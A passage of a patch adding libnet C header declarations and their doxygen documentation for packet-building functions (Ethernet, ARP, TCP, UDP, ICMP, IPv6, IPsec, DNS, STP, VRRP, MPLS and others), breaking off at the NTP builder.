+ * following the source address holds the frame's length (as opposed to the
+ * layer 3 protocol). You should only use this function when libnet is
+ * initialized with the LIBNET_LINK interface.
+ * @param dst destination ethernet address
+ * @param src source ethernet address
+ * @param len frame length sans header
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_802_3(u_int8_t *dst, u_int8_t *src, u_int16_t len,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Builds an Ethernet header. The RFC 894 Ethernet II header is almost
+ * identical to the IEEE 802.3 header, with the exception that the field
+ * immediately following the source address holds the layer 3 protocol (as
+ * opposed to frame's length). You should only use this function when
+ * libnet is initialized with the LIBNET_LINK interface.
+ * @param dst destination ethernet address
+ * @param src source ethernet address
+ * @param type upper layer protocol type
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ethernet(u_int8_t *dst, u_int8_t *src, u_int16_t type,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Autobuilds an Ethernet header. The RFC 894 Ethernet II header is almost
+ * identical to the IEEE 802.3 header, with the exception that the field
+ * immediately following the source address holds the layer 3 protocol (as
+ * opposed to frame's length). You should only use this function when
+ * libnet is initialized with the LIBNET_LINK interface.
+ * @param dst destination ethernet address
+ * @param type upper layer protocol type
+ * @param l pointer to a libnet context
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_autobuild_ethernet(u_int8_t *dst, u_int16_t type, libnet_t *l);
+
+/**
+ * Builds a Fiber Distributed Data Interface (FDDI) header.
+ * @param fc class format and priority
+ * @oaram dst destination fddi address
+ * @oaram src source fddi address
+ * @param dsap destination service access point
+ * @param ssap source service access point
+ * @param cf cf
+ * @param oui 3 byte IEEE organizational code
+ * @param type upper layer protocol
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_fddi(u_int8_t fc, u_int8_t *dst, u_int8_t *src, u_int8_t dsap,
+u_int8_t ssap, u_int8_t cf, u_int8_t *oui, u_int16_t type, u_int8_t *payload,
+u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Autobuilds a Fiber Distributed Data Interface (FDDI) header.
+ * @param fc class format and priority
+ * @oaram dst destination fddi address
+ * @param dsap destination service access point
+ * @param ssap source service access point
+ * @param cf cf
+ * @param oui IEEE organizational code
+ * @param type upper layer protocol
+ * @param l pointer to a libnet context
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_autobuild_fddi(u_int8_t fc, u_int8_t *dst, u_int8_t dsap, u_int8_t ssap,
+u_int8_t cf, u_int8_t *oui, u_int16_t type, libnet_t *l);
+
+/**
+ * Builds an Address Resolution Protocol (ARP) header. Depending on the op
+ * value, the function builds one of several different types of RFC 826 or
+ * RFC 903 RARP packets.
+ * @param hrd hardware address format
+ * @param pro protocol address format
+ * @param hln hardware address length
+ * @param pln protocol address length
+ * @param op ARP operation type
+ * @param sha sender's hardware address
+ * @param spa sender's protocol address
+ * @param tha target hardware address
+ * @param tpa targer protocol address
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_arp(u_int16_t hrd, u_int16_t pro, u_int8_t hln, u_int8_t pln,
+u_int16_t op, u_int8_t *sha, u_int8_t *spa, u_int8_t *tha, u_int8_t *tpa,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Autouilds an Address Resolution Protocol (ARP) header. Depending on the op
+ * value, the function builds one of several different types of RFC 826 or
+ * RFC 903 RARP packets.
+ * @param op ARP operation type
+ * @param sha sender's hardware address
+ * @param spa sender's protocol address
+ * @param tha target hardware address
+ * @param tpa targer protocol address
+ * @param l pointer to a libnet context
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_autobuild_arp(u_int16_t op, u_int8_t *sha, u_int8_t *spa, u_int8_t *tha,
+u_int8_t *tpa, libnet_t *l);
+
+/**
+ * Builds an RFC 793 Transmission Control Protocol (TCP) header.
+ * @param sp source port
+ * @param dp destination port
+ * @param seq sequence number
+ * @param ack acknowledgement number
+ * @param control control flags
+ * @param win window size
+ * @param sum checksum (0 for libnet to autofill)
+ * @param urg urgent pointer
+ * @parama len total length of the TCP packet (for checksum calculation)
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_tcp(u_int16_t sp, u_int16_t dp, u_int32_t seq, u_int32_t ack,
+u_int8_t control, u_int16_t win, u_int16_t sum, u_int16_t urg, u_int16_t len,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Builds an RFC 793 Transmission Control Protocol (TCP) options header.
+ * The function expects options to be a valid TCP options string of size
+ * options_s, which is no larger than 40 bytes (the maximum size of an
+ * options string). The function checks to ensure that the packet consists of
+ * a TCP header preceded by an IPv4 header, and that the addition of the
+ * options string would not result in a packet larger than 65,535 bytes
+ * (IPMAXPACKET). The function counts up the number of 32-bit words in the
+ * options string and adjusts the TCP header length value as necessary.
+ * @param options byte string of TCP options
+ * @param options_s length of options string
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_tcp_options(u_int8_t *options, u_int32_t options_s, libnet_t *l,
+libnet_ptag_t ptag);
+
+/**
+ * Builds an RFC 768 User Datagram Protocol (UDP) header.
+ * @param sp source port
+ * @param dp destination port
+ * @param len total length of the UDP packet
+ * @param sum checksum (0 for libnet to autofill)
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_udp(u_int16_t sp, u_int16_t dp, u_int16_t len, u_int16_t sum,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Builds a Cisco Discovery Protocol (CDP) header. Cisco Systems designed CDP
+ * to aid in the network management of adjacent Cisco devices. The CDP protocol
+ * specifies data by using a type/length/value (TLV) setup. The first TLV can
+ * specified by using the functions type, length, and value arguments. To
+ * specify additional TLVs, the programmer could either use the payload
+ * interface or libnet_build_data() to construct them.
+ * @param version CDP version
+ * @param ttl time to live (time information should be cached by recipient)
+ * @param sum checksum (0 for libnet to autofill)
+ * @param type type of data contained in value
+ * @param len length of value arugment
+ * @param value the CDP information string
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_cdp(u_int8_t version, u_int8_t ttl, u_int16_t sum, u_int16_t type,
+u_int16_t len, u_int8_t *value, u_int8_t *payload, u_int32_t payload_s,
+libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Builds an IP version 4 RFC 792 Internet Control Message Protocol (ICMP)
+ * echo request/reply header
+ * @param type type of ICMP packet (should be ICMP_ECHOREPLY or ICMP_ECHO)
+ * @param code code of ICMP packet (should be 0)
+ * @param sum checksum (0 for libnet to autofill)
+ * @param id identification number
+ * @param seq packet sequence number
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_icmpv4_echo(u_int8_t type, u_int8_t code, u_int16_t sum,
+u_int16_t id, u_int16_t seq, u_int8_t *payload, u_int32_t payload_s,
+libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Builds an IP version 4 RFC 792 Internet Control Message Protocol (ICMP)
+ * IP netmask request/reply header.
+ * @param type type of ICMP packet (should be ICMP_MASKREQ or ICMP_MASKREPLY)
+ * @param code code of ICMP packet (should be 0)
+ * @param sum checksum (0 for libnet to autofill)
+ * @param id identification number
+ * @param seq packet sequence number
+ * @param mask subnet mask
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_icmpv4_mask(u_int8_t type, u_int8_t code, u_int16_t sum,
+u_int16_t id, u_int16_t seq, u_int32_t mask, u_int8_t *payload,
+u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Builds an IP version 4 RFC 792 Internet Control Message Protocol (ICMP)
+ * unreachable header. The IP header that caused the error message should be
+ * built by a previous call to libnet_build_ipv4().
+ * @param type type of ICMP packet (should be ICMP_UNREACH)
+ * @param code code of ICMP packet (should be one of the 16 unreachable codes)
+ * @param sum checksum (0 for libnet to autofill)
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_icmpv4_unreach(u_int8_t type, u_int8_t code, u_int16_t sum,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Builds an IP version 4 RFC 792 Internet Message Control Protocol (ICMP)
+ * redirect header. The IP header that caused the error message should be
+ * built by a previous call to libnet_build_ipv4().
+ * @param type type of ICMP packet (should be ICMP_REDIRECT)
+ * @param code code of ICMP packet (should be one of the four redirect codes)
+ * @param sum checksum (0 for libnet to autofill)
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_icmpv4_redirect(u_int8_t type, u_int8_t code, u_int16_t sum,
+u_int32_t gateway, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+libnet_ptag_t ptag);
+
+/**
+ * Builds an IP version 4 RFC 792 Internet Control Message Protocol (ICMP) time
+ * exceeded header. The IP header that caused the error message should be
+ * built by a previous call to libnet_build_ipv4().
+ * @param type type of ICMP packet (should be ICMP_TIMXCEED)
+ * @param code code of ICMP packet (ICMP_TIMXCEED_INTRANS / ICMP_TIMXCEED_REASS)
+ * @param sum checksum (0 for libnet to autofill)
+ * @param payload optional payload or NULL
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_icmpv4_timeexceed(u_int8_t type, u_int8_t code, u_int16_t sum,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Builds an IP version 4 RFC 792 Internet Control Message Protocol (ICMP)
+ * timestamp request/reply header.
+ * @param type type of ICMP packet (should be ICMP_TSTAMP or ICMP_TSTAMPREPLY)
+ * @param code code of ICMP packet (should be 0)
+ * @param sum checksum (0 for libnet to autofill)
+ * @param id identification number
+ * @param seq sequence number
+ * @param otime originate timestamp
+ * @param rtime receive timestamp
+ * @param ttime transmit timestamp
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_icmpv4_timestamp(u_int8_t type, u_int8_t code, u_int16_t sum,
+u_int16_t id, u_int16_t seq, n_time otime, n_time rtime, n_time ttime,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Builds an RFC 1112 Internet Group Memebership Protocol (IGMP) header.
+ * @param type packet type
+ * @param code packet code (should be 0)
+ * @param sum checksum (0 for libnet to autofill)
+ * @param ip IPv4 address
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_igmp(u_int8_t type, u_int8_t code, u_int16_t sum, u_int32_t ip,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Builds a version 4 RFC 791 Internet Protocol (IP) header.
+ * @param len total length of the IP packet including all subsequent data
+ * @param tos type of service bits
+ * @param id IP identification number
+ * @param frag fragmentation bits and offset
+ * @param ttl time to live in the network
+ * @param prot upper layer protocol
+ * @param sum checksum (0 for libnet to autofill)
+ * @param src source IPv4 address (little endian)
+ * @param dst destination IPv4 address (little endian)
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ipv4(u_int16_t len, u_int8_t tos, u_int16_t id, u_int16_t frag,
+u_int8_t ttl, u_int8_t prot, u_int16_t sum, u_int32_t src, u_int32_t dst,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Builds an version 4 Internet Protocol (IP) options header. The function
+ * expects options to be a valid IP options string of size options_s, no larger
+ * than 40 bytes (the maximum size of an options string). The function checks
+ * to make sure that the preceding header is an IPv4 header and that the
+ * options string would not result in a packet larger than 65,535 bytes
+ * (IPMAXPACKET). The function counts up the number of 32-bit words in the
+ * options string and adjusts the IP header length value as necessary.
+ * @param options byte string of IP options
+ * @param options_s length of options string
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ipv4_options(u_int8_t *options, u_int32_t options_s, libnet_t *l,
+libnet_ptag_t ptag);
+
+/**
+ * Autobuilds a version 4 Internet Protocol (IP) header. The function is useful * to build an IP header quickly when you do not need a granular level of
+ * control. The function takes the same len, prot, and dst arguments as
+ * libnet_build_ipv4(). The function does not accept a ptag argument, but it
+ * does return a ptag. In other words, you can use it to build a new IP header
+ * but not to modify an existing one.
+ * @param len total length of the IP packet including all subsequent data
+ * @param prot upper layer protocol
+ * @param dst destination IPv4 address (little endian)
+ * @param l pointer to a libnet context
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_autobuild_ipv4(u_int16_t len, u_int8_t prot, u_int32_t dst, libnet_t *l);
+
+/**
+ * Builds a version 6 RFC 2460 Internet Protocol (IP) header.
+ * @param tc traffic class
+ * @param fl flow label
+ * @param len total length of the IP packet
+ * @param nh next header
+ * @param hl hop limit
+ * @param src source IPv6 address
+ * @param dst destination IPv6 address
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ipv6(u_int8_t tc, u_int32_t fl, u_int16_t len, u_int8_t nh,
+u_int8_t hl, struct libnet_in6_addr src, struct libnet_in6_addr dst,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Builds a version 6 RFC 2460 Internet Protocol (IP) fragmentation header.
+ * @param nh next header
+ * @param reserved unused value... OR IS IT!
+ * @param frag fragmentation bits (ala ipv4)
+ * @param id packet identification
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ipv6_frag(u_int8_t nh, u_int8_t reserved, u_int16_t frag,
+u_int32_t id, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+libnet_ptag_t ptag);
+
+/**
+ * Builds a version 6 RFC 2460 Internet Protocol (IP) routing header. This
+ * function is special in that it uses the payload interface to include the
+ * "type-specific data"; that is the routing information. Most often this will
+ * be a number of 128-bit IPv6 addresses. The application programmer will build
+ * a byte string of IPv6 address and pass them to the function using the
+ * payload interface.
+ * @param nh next header
+ * @param len length of the header in 8-byte octets not including the first 8 octets
+ * @rtype routing header type
+ * @param segments number of routing segments that follow
+ * @param payload optional payload of routing information
+ * @param payload_s payload length
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ipv6_routing(u_int8_t nh, u_int8_t len, u_int8_t rtype,
+u_int8_t segments, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+libnet_ptag_t ptag);
+
+/**
+ * Builds a version 6 RFC 2460 Internet Protocol (IP) destination options
+ * header. This function is special in that it uses the payload interface to
+ * include the options data. The application programmer will build an IPv6
+ * options byte string and pass it to the function using the payload interface.
+ * @param nh next header
+ * @param len length of the header in 8-byte octets not including the first 8 octets
+ * @param payload options payload
+ * @param payload_s payload length
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ipv6_destopts(u_int8_t nh, u_int8_t len, u_int8_t *payload,
+u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Builds a version 6 RFC 2460 Internet Protocol (IP) hop by hop options
+ * header. This function is special in that it uses the payload interface to
+ * include the options data. The application programmer will build an IPv6
+ * hop by hop options byte string and pass it to the function using the payload
+ * interface.
+ * @param nh next header
+ * @param len length of the header in 8-byte octets not including the first 8 octets
+ * @param payload options payload
+ * @param payload_s payload length
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ipv6_hbhopts(u_int8_t nh, u_int8_t len, u_int8_t *payload,
+u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * This function is not yet implement and is a NONOP.
+ * @param len length
+ * @param nh next header
+ * @param dst destination IPv6 address
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_autobuild_ipv6(u_int16_t len, u_int8_t nh, struct libnet_in6_addr dst,
+libnet_t *l);
+
+/**
+ * Builds a Cisco Inter-Switch Link (ISL) header.
+ * @param dhost destination address (should be 01:00:0c:00:00)
+ * @param type type of frame
+ * @param user user defined data
+ * @param shost source mac address
+ * @param len total length of the encapuslated packet less 18 bytes
+ * @param snap SNAP information (0xaaaa03 + vendor code)
+ * @param vid 15 bit VLAN ID, 1 bit BPDU or CDP indicator
+ * @param index port index
+ * @param reserved used for FDDI and token ring
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_isl(u_int8_t *dhost, u_int8_t type, u_int8_t user, u_int8_t *shost,
+u_int16_t len, u_int8_t *snap, u_int16_t vid, u_int16_t index,
+u_int16_t reserved, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+libnet_ptag_t ptag);
+
+/**
+ * Builds an Internet Protocol Security Encapsulating Security Payload header.
+ * @param spi security parameter index
+ * @param seq ESP sequence number
+ * @param iv initialization vector
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ipsec_esp_hdr(u_int32_t spi, u_int32_t seq, u_int32_t iv,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Builds an Internet Protocol Security Encapsulating Security Payload footer.
+ * @param len padding length
+ * @param nh next header
+ * @param auth authentication data
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ipsec_esp_ftr(u_int8_t len, u_int8_t nh, int8_t *auth,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Builds an Internet Protocol Security Authentication header.
+ * @param nh next header
+ * @param len payload length
+ * @param res reserved
+ * @param spi security parameter index
+ * @param seq sequence number
+ * @param auth authentication data
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ipsec_ah(u_int8_t nh, u_int8_t len, u_int16_t res,
+u_int32_t spi, u_int32_t seq, u_int32_t auth, u_int8_t *payload,
+u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Builds an RFC 1035 version 4 DNS header. Additional DNS payload information
+ * should be specified using the payload interface.
+ * @param id DNS packet id
+ * @param flags control flags
+ * @param num_q number of questions
+ * @param num_anws_rr number of answer resource records
+ * @param num_auth_rr number of authority resource records
+ * @param num_addi_rr number of additional resource records
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_dnsv4(u_int16_t h_len, u_int16_t id, u_int16_t flags,
+u_int16_t num_q, u_int16_t num_anws_rr, u_int16_t num_auth_rr,
+u_int16_t num_addi_rr, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+libnet_ptag_t ptag);
+
+/**
+ * Builds a Routing Information Protocol header (RFCs 1058 and 2453).
+ * @param cmd command
+ * @param version protocol version
+ * @param rd version one: 0, version two: routing domain
+ * @param af address family
+ * @param rt version one: 0, version two: route tag
+ * @param addr IPv4 address
+ * @param mask version one: 0, version two: subnet mask
+ * @param next_hop version one: 0, version two: next hop address
+ * @param metric routing metric
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_rip(u_int8_t cmd, u_int8_t version, u_int16_t rd, u_int16_t af,
+u_int16_t rt, u_int32_t addr, u_int32_t mask, u_int32_t next_hop,
+u_int32_t metric, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+libnet_ptag_t ptag);
+
+/**
+ * Builds an Remote Procedure Call (Version 2) Call message header as
+ * specified in RFC 1831. This builder provides the option for
+ * specifying the record marking which is required when used with
+ * streaming protocols (TCP).
+ * @param rm record marking indicating the position in a stream, 0 otherwise
+ * @param xid transaction identifier used to link calls and replies
+ * @param prog_num remote program specification typically between 0 - 1fffffff
+ * @param prog_vers remote program version specification
+ * @param procedure procedure to be performed by remote program
+ * @param cflavor authentication credential type
+ * @param clength credential length (should be 0)
+ * @param cdata opaque credential data (currently unused)
+ * @param vflavor authentication verifier type
+ * @param vlength verifier length (should be 0)
+ * @param vdata opaque verifier data (currently unused)
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_rpc_call(u_int32_t rm, u_int32_t xid, u_int32_t prog_num,
+u_int32_t prog_vers, u_int32_t procedure, u_int32_t cflavor, u_int32_t clength,
+u_int8_t *cdata, u_int32_t vflavor, u_int32_t vlength, u_int8_t *vdata,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Builds an IEEE 802.1d Spanning Tree Protocol (STP) configuration header.
+ * STP frames are usually encapsulated inside of an 802.2 + 802.3 frame
+ * combination.
+ * @param id protocol id
+ * @param version protocol version
+ * @param bpdu_type bridge protocol data unit type
+ * @param flags flags
+ * @param root_id root id
+ * @param root_pc root path cost
+ * @param bridge_id bridge id
+ * @param port_id port id
+ * @param message_age message age
+ * @param max_age max age
+ * @param hello_time hello time
+ * @param f_delay forward delay
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_stp_conf(u_int16_t id, u_int8_t version, u_int8_t bpdu_type,
+u_int8_t flags, u_int8_t *root_id, u_int32_t root_pc, u_int8_t *bridge_id,
+u_int16_t port_id, u_int16_t message_age, u_int16_t max_age,
+u_int16_t hello_time, u_int16_t f_delay, u_int8_t *payload,
+u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Builds an IEEE 802.1d Spanning Tree Protocol (STP) topology change
+ * notification header. STP frames are usually encapsulated inside of an
+ * 802.2 + 802.3 frame combination.
+ * @param id protocol id
+ * @param version protocol version
+ * @param bpdu_type bridge protocol data unit type
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_stp_tcn(u_int16_t id, u_int8_t version, u_int8_t bpdu_type,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Builds a token ring header.
+ * @param ac access control
+ * @param fc frame control
+ * @param dst destination address
+ * @param src source address
+ * @param dsap destination service access point
+ * @param ssap source service access point
+ * @param cf control field
+ * @param oui Organizationally Unique Identifier
+ * @param type upper layer protocol type
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_token_ring(u_int8_t ac, u_int8_t fc, u_int8_t *dst, u_int8_t *src,
+u_int8_t dsap, u_int8_t ssap, u_int8_t cf, u_int8_t *oui, u_int16_t type,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Auto-builds a token ring header.
+ * @param ac access control
+ * @param fc frame control
+ * @param dst destination address
+ * @param dsap destination service access point
+ * @param ssap source service access point
+ * @param cf control field
+ * @param oui Organizationally Unique Identifier
+ * @param type upper layer protocol type
+ * @param l pointer to a libnet context
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_autobuild_token_ring(u_int8_t ac, u_int8_t fc, u_int8_t *dst,
+u_int8_t dsap, u_int8_t ssap, u_int8_t cf, u_int8_t *oui, u_int16_t type,
+libnet_t *l);
+
+/**
+ * Builds an RFC 2338 Virtual Router Redundacy Protool (VRRP) header. Use the
+ * payload interface to specify address and autthentication information. To
+ * build a "legal" packet, the destination IPv4 address should be the multicast * address 224.0.0.18, the IP TTL should be set to 255, and the IP protocol
+ * should be set to 112.
+ * @param version VRRP version (should be 2)
+ * @param type VRRP packet type (should be 1 -- ADVERTISEMENT)
+ * @param vrouter_id virtual router identification
+ * @param priority priority (higher numbers indicate higher priority)
+ * @param ip_count number of IPv4 addresses contained in this advertisement
+ * @param auth_type type of authentication (0, 1, 2 -- see RFC)
+ * @param advert_int interval between advertisements
+ * @param sum checksum (0 for libnet to autofill)
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_vrrp(u_int8_t version, u_int8_t type, u_int8_t vrouter_id,
+u_int8_t priority, u_int8_t ip_count, u_int8_t auth_type, u_int8_t advert_int,
+u_int16_t sum, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+libnet_ptag_t ptag);
+
+/**
+ * Builds an RFC 3032 Multi-Protocol Label Switching (MPLS) header.
+ * @param label 20-bit label value
+ * @param experimental 3-bit reserved field
+ * @param bos 1-bit bottom of stack identifier
+ * @param ttl time to live
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_mpls(u_int32_t label, u_int8_t experimental, u_int8_t bos,
+u_int8_t ttl, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+libnet_ptag_t ptag);
+
+/**
+ * Builds an RFC 958 Network Time Protocol (NTP) header.
